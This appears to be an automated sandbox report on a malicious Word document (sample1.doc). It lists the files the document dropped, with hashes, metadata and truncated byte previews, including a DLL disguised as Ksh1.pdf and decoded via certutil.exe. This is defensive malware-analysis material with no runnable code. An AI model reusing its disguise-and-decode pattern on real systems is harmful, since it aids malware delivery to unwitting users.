Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAApTiijbS9G8G0vRvBtL0bw2bO38GcvRvDZs7XwGi9G8NmztPB1L0bwP0dD8U0vRvA/R0LxYi9G8D9HRfF+L0bwZFfV8GgvRvBtL0fwCS9G8PdGT/FsL0bw90ZG8WwvRvD3RrnwbC9G8G0v0fBsL0bw90ZE8WwvRvBSaWNobS9G8AAAAAAAAAAAUEUAAEwBBQAr7ZhfAAAAAAAAAADgAAIhCwEOEAAUAQAAxAUAAAAAAGR9AAAAEAAAADABAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAcAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAEIUBAEgAAABYhQEAPAAAAACwAQBQQgUAAAAAAAAAAAAAAAAAAAAAAAAABwCIDgAAMHwBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABofAEAQAAAAAAAAAAAAAAAADABADgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGcSAQAAEAAAABQBAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABkXAAAADABAABeAAAAGAEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA6BEAAACQAQAACAAAAHYBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAFBCBQAAsAEAAEQFAAB+AQAAAAAAAAAAAAAAAABAAABALnJlbG9jAACIDgAAAAAHAAAQAAAAwgYAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0666.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1191944
Entropy (8bit):	3.9253267830463896
Encrypted:	false
SSDEEP:	12288:ade8HF9kUxyxlFnsn4yA9W8MZ5axhVYGByJGZGy9e3rfTqtTfLlR1xwSaf67HNu4:me8HFmU/4yA9W89VYU7sY7yz1DsVirpI
MD5:	DA122309698B26E96848A6A829EEF5C1
SHA1:	DFA1B8C96C19827A595EEB15B2EC5386F9746CEF
SHA-256:	26585F7107FBECBA9F5282D4C1F1783441C60187057133121BD40D5C31C6149A
SHA-512:	4318F2A585966FC03A86D566819F06F15A93BE1616231FC34E4C5B7F0B6317083654B7F9C446D250D91C25176853B8CEB42504419D35ECD7F8DEC4C6048B5D7D
Malicious:	false
Preview:	T.V.q.Q.A.A.M.A.A.A.A.E.A.A.A.A././.8.A.A.L.g.A.A.A.A.A.A.A.A.A.Q.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.A.E.A.A.A.4.f.u.g.4.A.t.A.n.N.I.b.g.B.T.M.0.h.V.G.h.p.c.y.B.w.c.m.9.n.c.m.F.t.I.G.N.h.b.m.5.v.d.C.B.i.Z.S.B.y.d.W.4.g.a.W.4.g.R.E.9.T.I.G.1.v.Z.G.U.u.D.Q.0.K.J.A.A.A.A.A.A.A.A.A.A.p.T.i.i.j.b.S.9.G.8.G.0.v.R.v.B.t.L.0.b.w.2.b.O.3.8.G.c.v.R.v.D.Z.s.7.X.w.G.i.9.G.8.N.m.z.t.P.B.1.L.0.b.w.P.0.d.D.8.U.0.v.R.v.A./.R.0.L.x.Y.i.9.G.8.D.9.H.R.f.F.+.L.0.b.w.Z.F.f.V.8.G.g.v.R.v.B.t.L.0.f.w.C.S.9.G.8.P.d.G.T./.F.s.L.0.b.w.9.0.Z.G.8.W.w.v.R.v.D.3.R.r.n.w.b.C.9.G.8.G.0.v.0.f.B.s.L.0.b.w.9.0.Z.E.8.W.w.v.R.v.B.S.a.W.N.o.b.S.9.G.8.A.A.A.A.A.A.A.A.A.A.A.U.E.U.A.A.E.w.B.B.Q.A.r.7.Z.h.f.A.A.A.A.A.A.A.A.A.A.D.g.A.A.I.h.C.w.E.O.E.A.A.U.A.Q.A.A.x.A.U.A.A.A.A.A.A.G.R.9.A.A.A.A.E.A.A.A.A.D.A.B.A.A.A.A.A.B.A.A.E.A.A.A.A.A.I.A.A.A.U.A.A.Q.A.A.A.A.A.A.B.Q.A.B.A.A.A.A.A.A.A.A.E.A.c.A.A.A.Q.A.A.A.A.A.A.A.A.D.A.E.A.B.A.A.A.Q.A.A.A.Q.A.A.A.A.A.B.A.A.A.B.A.A.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0798.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	600580
Entropy (8bit):	5.850565167047853
Encrypted:	false
SSDEEP:	12288:nmkTbcqi+vjtKTA4rWgRRtgqDnygr6Yq/PWY:nmkvdbKDnyzx35
MD5:	1D35754EDB0B7AA76891735215FC048A
SHA1:	E0B1C34B3C39C1F097B7A3749174D098DC51E265
SHA-256:	C31DBCD8F7F979CB09159FE60B70A0C8F7A58C5E67EA8522E031F0BC5DF8A348
SHA-512:	6851E23E0FBFF103D5BDCE5CDC4D425C070D8E72BA66525CD2F85255F5BF3921C434C371B1459F184468546670AC26FD307035572E12DF84D1172517E8202A07
Malicious:	false
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAApTiijbS9G8G0vRvBtL0bw2bO38GcvRvDZs7XwGi9G8NmztPB1L0bwP0dD8U0vRvA/R0LxYi9G8D9HRfF+L0bwZFfV8GgvRvBtL0fwCS9G8PdGT/FsL0bw90ZG8WwvRvD3RrnwbC9G8G0v0fBsL0bw90ZE8WwvRvBSaWNobS9G8AAAAAAAAAAAUEUAAEwBBQAr7ZhfAAAAAAAAAADgAAIhCwEOEAAUAQAAxAUAAAAAAGR9AAAAEAAAADABAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAcAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAEIUBAEgAAABYhQEAPAAAAACwAQBQQgUAAAAAAAAAAAAAAAAAAAAAAAAABwCIDgAAMHwBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABofAEAQAAAAAAAAAAAAAAAADABADgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGcSAQAAEAAAABQBAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABkXAAAADABAABeAAAAGAEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA6BEAAACQAQAACAAAAHYBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAFBCBQAAsAEAAEQFAAB+AQAAAAAAAAAAAAAAAABAAABALnJlbG9jAACIDgAAAAAHAAAQAAAAwgYAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{35EB0BAB-3BC6-4A41-A07F-15EEA53DBB38}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3586208805849453
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbC:IiiiiiiiiifdLloZQc8++lsJe1MzNn
MD5:	EAA701BCC2359F9297273D117620CA80
SHA1:	D9E2AC26703E2668720A5B3E796DF52F3F52674A
SHA-256:	497E3B43D545A03EE2E00324DEAC332FD13FF811F41B42F881BCAD29AE14250D
SHA-512:	6F4F6936A2D454FABE565A177322B84A853DE887CBF1B10ECBFFF9D7755465AE60BFCBE66F4F949D986D103F12550B5160F614A74729DE0838DC451C76757491
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B5C9B88B-61BE-41BF-89DB-AF92964D1C77}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Ksh1.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jan 14 11:01:41 2021, mtime=Thu Jan 14 11:01:41 2021, atime=Thu Jan 14 11:01:42 2021, length=595972, window=hide
Category:	dropped
Size (bytes):	3660
Entropy (8bit):	4.4870215514715746
Encrypted:	false
SSDEEP:	96:87k/XicyByK27k/XicyByK2vk/X/c1O2vk/X/c12:87Iu27Iu2v51pv512
MD5:	5C048363FB804C47823972D53B75D3A5
SHA1:	FF2FD7DCCF53FA0A6F7E4DED1080C26A6A8F97AE
SHA-256:	FE5D58BEC071D21ECEAD746CFCF14EEC223B18E18282DECB92D49CB8607885AA
SHA-512:	D74E71166AB2CEA9A0093A59D043E3D65E219E8376D34D3D3721FEBFDB916A2B1AF68D9221AC11DB1824FAF78EBD32865403404B7049EB7ED23339BB6B1AB1FB
Malicious:	false
Preview:	L..................F.... ...;2B.m...;2B.m....M..m...........................q....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....x.1......R6`..Public..b.......:...R6`...b...............8.....P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....V.2......R6` .Ksh1.xls..>.......R5`.R5`...;.....................K.s.h.1...x.l.s.......k...............-...8...[............?J......C:\Users\..#...................\\424505\Users.Public\Ksh1.xls.!.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.K.s.h.1...x.l.s..........................v...cM.jVD.Es.................1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......424505..........D_....3N...W...9H.C...........[D_....3N...W...9H.C...........[....L..................F.... ...;2B.m...;2B.m....M..m...........................q....P.O.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Public.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Jul 14 02:20:08 2009, mtime=Thu Jan 14 11:01:41 2021, atime=Thu Jan 14 11:01:41 2021, length=4096, window=hide
Category:	dropped
Size (bytes):	1604
Entropy (8bit):	4.462420567483035
Encrypted:	false
SSDEEP:	24:8L/XRlekwvB3qcL7Y2//XRlekwvB3qcL7c:8L/XjVFcfY2//XjVFcfc
MD5:	13715C1A57AC925C6D3529F23D8A0489
SHA1:	7475EF6A91727FD8449840C0B783B3FD34D5D7F1
SHA-256:	29832B00F50E3D4E063F7C97E2430C5A0F833CB5D3A2E66C1DFE2AE990C94832
SHA-512:	4137D28186FA2B19F766D33C5592236A59535C50A60FADBB48C5FAB332596C6FF17C45EFE460846E64F9755D5C911CD5B06F0CBA80EE9A185648D3B497EE854F
Malicious:	false
Preview:	L..................F............1...;2B.m...;2B.m................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....x.1......>.C..Public..b.......:...>.C...b...............8.....P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.......b...............-...8...[............?J......C:\Users\..#...................\\424505\Users.Public.......\.....\.....\.....\.....\.....\.P.u.b.l.i.c..........................v...cM.jVD.Es.................1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......424505..........D_....3N...W...9G.C...........[D_....3N...W...9G.C...........[....L..................F............1....3..m....3..m................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	438
Entropy (8bit):	4.369509432724656
Encrypted:	false
SSDEEP:	6:M6dYrtg9CMdg9CMdg9UYrtg9CMUg9UYrhMUg9CMRMUg9s:M6IgEEgEEgJgEtg9tgEytgC
MD5:	9DDA3519F04FDEEB47B198EDD010E507
SHA1:	AC6C4075745C0F0064ADED9504934DDA44CB30E9
SHA-256:	A677F9380C0B0EB229D861D18FDDFFD4642FFCAF1ABF9007A77EC37F05F0BDBC
SHA-512:	8C0372F4659764915EC4D9EBA74F71E4464F1E5C56A0B31AF05638A747790B9AD2834642D94EB0512AEA1B5D8E292D9CB0029A849A0C91244376A50EC6501667
Malicious:	false
Preview:	[doc]..sample1.LNK=0..sample1.LNK=0..[doc]..sample1.LNK=0..Public.LNK=0..[doc]..sample1.LNK=0..[xls]..Ksh1.LNK=0..Ksh1.LNK=0..[doc]..sample1.LNK=0..[xls]..Ksh1.LNK=0..Ksh1.LNK=0..[doc]..sample1.LNK=0..[xls]..Ksh1.LNK=0..Public.LNK=0..[doc]..sample1.LNK=0..[xls]..Ksh1.LNK=0..Ksh1.LNK=0..[xls]..Ksh1.LNK=0..Public.LNK=0..[doc]..sample1.LNK=0..Ksh1.LNK=0..[xls]..Ksh1.LNK=0..Ksh1.LNK=0..[doc]..sample1.LNK=0..Ksh1.LNK=0..[xls]..Ksh1.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\sample1.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jan 14 11:00:31 2021, mtime=Thu Jan 14 11:00:31 2021, atime=Thu Jan 14 11:00:33 2021, length=856064, window=hide
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	4.504905520297006
Encrypted:	false
SSDEEP:	48:8C/XT3ITfhclhVMDlOcQh2C/XT3ITfhclhVMDlOcQ/:8C/XLIT5UcQh2C/XLIT5UcQ/
MD5:	2EAF88677CD16A68B2CD4263BA9E7CE0
SHA1:	AA9B6C640105E9474BABBF76571C364926445178
SHA-256:	919A3D28BFBE2D4CE57DCF0A8B1400DB858BAD490FEB436C3F4EFE343EB262BB
SHA-512:	7AA17F78876C1B55BBA4C8973D8420992E1C53D54667848D84B7857C6D066862C1AE9D2B83DE5A525DD45B0B6FFBF19B2D89372A42BC63A4E5BA0E2296D5140D
Malicious:	false
Preview:	L..................F.... ....hv.l....hv.l.......l................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......R.`..Desktop.d......QK.X.R.`..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....^.2......R.` .sample1.doc.D.......R.`.R.`...?.....................s.a.m.p.l.e.1...d.o.c.......u...............-...8...[............?J......C:\Users\..#...................\\424505\Users.user\Desktop\sample1.doc.".....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.s.a.m.p.l.e.1...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......424505..........D_....3N...W...9F.C...........[D_....3N...W...9F.C...........[....L..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyokKOg5Gll3GwSKG/f2+1/ln:vdsCkWtW2IlID9l
MD5:	39EB3053A717C25AF84D576F6B2EBDD2
SHA1:	F6157079187E865C1BAADCC2014EF58440D449CA
SHA-256:	CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A
SHA-512:	5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB9028919C
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........w...............w.............P.w..............w.....z.........w.....x...

C:\Users\user\Desktop\~$ample1.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyokKOg5Gll3GwSKG/f2+1/ln:vdsCkWtW2IlID9l
MD5:	39EB3053A717C25AF84D576F6B2EBDD2
SHA1:	F6157079187E865C1BAADCC2014EF58440D449CA
SHA-256:	CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A
SHA-512:	5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB9028919C
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........w...............w.............P.w..............w.....z.........w.....x...

C:\Users\Public\Ksh1.pdf Download File
Process:	C:\Windows\System32\certutil.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446976
Entropy (8bit):	7.675102075961339
Encrypted:	false
SSDEEP:	12288:NWSikkQXsGOCAStP1W+TXPc9JXvaWv7j3:ESiL5Sp1W+TYfHj
MD5:	706EA7F029E6BC4DBF845DB3366F9A0E
SHA1:	942443DFB8784066523DB761886115E08C99575F
SHA-256:	FB07F875DC45E6045735513E75A83C50C78154851BD23A645D43EA853E6800AC
SHA-512:	036D5DE7E732302EF81989FBA62ABB1375119FC8141748D6548ED2310E95BDC07468ADA5CBF06C4F721B2B95CAF51E3267D4EF6DB2A2031CF5C8B2ABEE1C15A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 41%, Browse Antivirus: ReversingLabs, Detection: 64%
Joe Sandbox View:	Filename: sample1.doc, Detection: malicious, Browse Filename: sample1.doc, Detection: malicious, Browse Filename: task5.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)N(.m/F.m/F.m/F....g/F...../F....u/F.?GC.M/F.?GB.b/F.?GE.~/F.dW..h/F.m/G../F..FO.l/F..FF.l/F..F..l/F.m/..l/F..FD.l/F.Richm/F.........PE..L...+._...........!................d}.......0............................................@.............................H...X...<.......PB..........................0\|..8...........................h\|..@............0..8............................text...g........................... ..`.rdata..d\...0...^..................@..@.data................v..............@....rsrc...PB.......D...~..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\~$Ksh1.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyokKOg5Gll3GwSKG/f2+1/ln:vdsCkWtW2IlID9l
MD5:	39EB3053A717C25AF84D576F6B2EBDD2
SHA1:	F6157079187E865C1BAADCC2014EF58440D449CA
SHA-256:	CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A
SHA-512:	5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB9028919C
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........w...............w.............P.w..............w.....z.........w.....x...

C:\Users\Public\~$Ksh1.xls Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.431160061181642
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyokKOg5Gll3GwSKG/f2+1/ln:vdsCkWtW2IlID9l
MD5:	39EB3053A717C25AF84D576F6B2EBDD2
SHA1:	F6157079187E865C1BAADCC2014EF58440D449CA
SHA-256:	CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A
SHA-512:	5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB9028919C
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.........w...............w.............P.w..............w.....z.........w.....x...

C:\Users\Public\~WRD0000.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	595972
Entropy (8bit):	5.85065356609278
Encrypted:	false
SSDEEP:	12288:FmkTbAui+yjlKtAMgWffRtpqgnydr6YqVPCY:FmkvVW9gnyQxt9
MD5:	D631AB4CEFF199B52FF4E4B7AAD0199D
SHA1:	F30002C31BF32184507182100942A2012F0B8703
SHA-256:	9DE083F693C144A38D697089F6560A2EFE81B1AD1C5385EC07D6B41BB54B8FFE
SHA-512:	56B3941CD93658F7DF8976213E2DFD5CB74E7ABB651AD26FDA9B7191E675E03289366B32EEDF68D139562A88DBBAE2589FDA8ABBDB756C43E2E605863459A162
Malicious:	false
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAApTiijbS9G8G0vRvBtL0bw2bO38GcvRvDZs7XwGi9G8NmztPB1L0bwP0dD8U0vRvA/R0LxYi9G8D9HRfF+L0bwZFfV8GgvRvBtL0fwCS9G8PdGT/FsL0bw90ZG8WwvRvD3RrnwbC9G8G0v0fBsL0bw90ZE8WwvRvBSaWNobS9G8AAAAAAAAAAAUEUAAEwBBQAr7ZhfAAAAAAAAAADgAAIhCwEOEAAUAQAAxAUAAAAAAGR9AAAAEAAAADABAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAcAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAEIUBAEgAAABYhQEAPAAAAACwAQBQQgUAAAAAAAAAAAAAAAAAAAAAAAAABwCIDgAAMHwBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABofAEAQAAAAAAAAAAAAAAAADABADgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGcSAQAAEAAAABQBAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABkXAAAADABAABeAAAAGAEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA6BEAAACQAQAACAAAAHYBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAFBCBQAAsAEAAEQFAAB+AQAAAAAAAAAAAAAAAABAAABALnJlbG9jAACIDgAAAAAHAAAQAAAAwgYAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\Public\~WRD0004.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	595972
Entropy (8bit):	5.85065356609278
Encrypted:	false
SSDEEP:	12288:FmkTbAui+yjlKtAMgWffRtpqgnydr6YqVPCY:FmkvVW9gnyQxt9
MD5:	D631AB4CEFF199B52FF4E4B7AAD0199D
SHA1:	F30002C31BF32184507182100942A2012F0B8703
SHA-256:	9DE083F693C144A38D697089F6560A2EFE81B1AD1C5385EC07D6B41BB54B8FFE
SHA-512:	56B3941CD93658F7DF8976213E2DFD5CB74E7ABB651AD26FDA9B7191E675E03289366B32EEDF68D139562A88DBBAE2589FDA8ABBDB756C43E2E605863459A162
Malicious:	false
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAApTiijbS9G8G0vRvBtL0bw2bO38GcvRvDZs7XwGi9G8NmztPB1L0bwP0dD8U0vRvA/R0LxYi9G8D9HRfF+L0bwZFfV8GgvRvBtL0fwCS9G8PdGT/FsL0bw90ZG8WwvRvD3RrnwbC9G8G0v0fBsL0bw90ZE8WwvRvBSaWNobS9G8AAAAAAAAAAAUEUAAEwBBQAr7ZhfAAAAAAAAAADgAAIhCwEOEAAUAQAAxAUAAAAAAGR9AAAAEAAAADABAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAcAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAEIUBAEgAAABYhQEAPAAAAACwAQBQQgUAAAAAAAAAAAAAAAAAAAAAAAAABwCIDgAAMHwBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABofAEAQAAAAAAAAAAAAAAAADABADgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGcSAQAAEAAAABQBAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABkXAAAADABAABeAAAAGAEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA6BEAAACQAQAACAAAAHYBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAFBCBQAAsAEAAEQFAAB+AQAAAAAAAAAAAAAAAABAAABALnJlbG9jAACIDgAAAAAHAAAQAAAAwgYAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: User, Template: Normal.dotm, Last Saved By: kirin, Revision Number: 7, Name of Creating Application: Microsoft Office Word, Total Editing Time: 20:00, Create Time/Date: Sun May 10 01:31:00 2020, Last Saved Time/Date: Wed Oct 28 04:44:00 2020, Number of Pages: 2, Number of Words: 89482, Number of Characters: 510049, Security: 0
Entropy (8bit):	6.919205506848504
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	sample1.doc
File size:	850432
MD5:	7dbd8ecfada1d39a81a58c9468b91039
SHA1:	0d21e2742204d1f98f6fcabe0544570fd6857dd3
SHA256:	dc40e48d2eb0e57cd16b1792bdccc185440f632783c7bcc87c955e1d4e88fc95
SHA512:	a851ac80b43ebdb8e990c2eb3daabb456516fc40bb43c9f76d0112674dbd6264efce881520744f0502f2962fc0bb4024e7d73ea66d56bc87c0cc6dfde2ab869a
SSDEEP:	12288:emkTbAui+yjlKtAMgWffRtpqgnydr6YqVPCspBZZLFLIx/mBDOq1a:emkvVW9gnyQxtN9eEBDOQa
File Content Preview:	........................>.......................g...........j...............Z...[...\...]...^..._...`...a...b...c...d...e...f..................................................................................................................................

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "sample1.doc"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Office Word
Encrypted Document:	False
